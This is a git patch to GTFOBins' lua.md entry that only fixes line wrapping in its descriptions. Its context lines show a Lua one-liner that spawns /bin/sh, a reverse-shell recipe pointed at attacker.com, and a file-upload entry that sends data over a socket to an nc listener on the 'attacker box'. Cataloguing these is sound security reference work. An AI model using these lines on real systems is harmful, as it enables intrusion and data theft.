From 00a06edb07a17de6336c1df9932b92f3391d7bb8 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Sun, 22 Jul 2018 14:12:20 +0100 Subject: [PATCH] Fix lua descriptions --- _gtfobins/lua.md | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/_gtfobins/lua.md b/_gtfobins/lua.md index a5d3bca..7e4d9a1 100644 --- a/_gtfobins/lua.md +++ b/_gtfobins/lua.md @@ -3,8 +3,7 @@ functions: execute-interactive: - code: lua -e 'os.execute("/bin/sh")' reverse-shell-non-interactive: - - description: Run nc -l -p 12345 on - the attacker box to receive the shell. This requires `lua-socket` installed. + - description: Run nc -l -p 12345 on the attacker box to receive the shell. This requires `lua-socket` installed. code: | export RHOST=attacker.com export RPORT=12345 @@ -28,8 +27,7 @@ functions: local b=assert(f:read("*a"));c:send(b); end;c:close();f:close();' upload: - - description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` - on the attacker box to collect the file. This requires `lua-socket` installed. + - description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires `lua-socket` installed. code: | RHOST=attacker.com RPORT=12345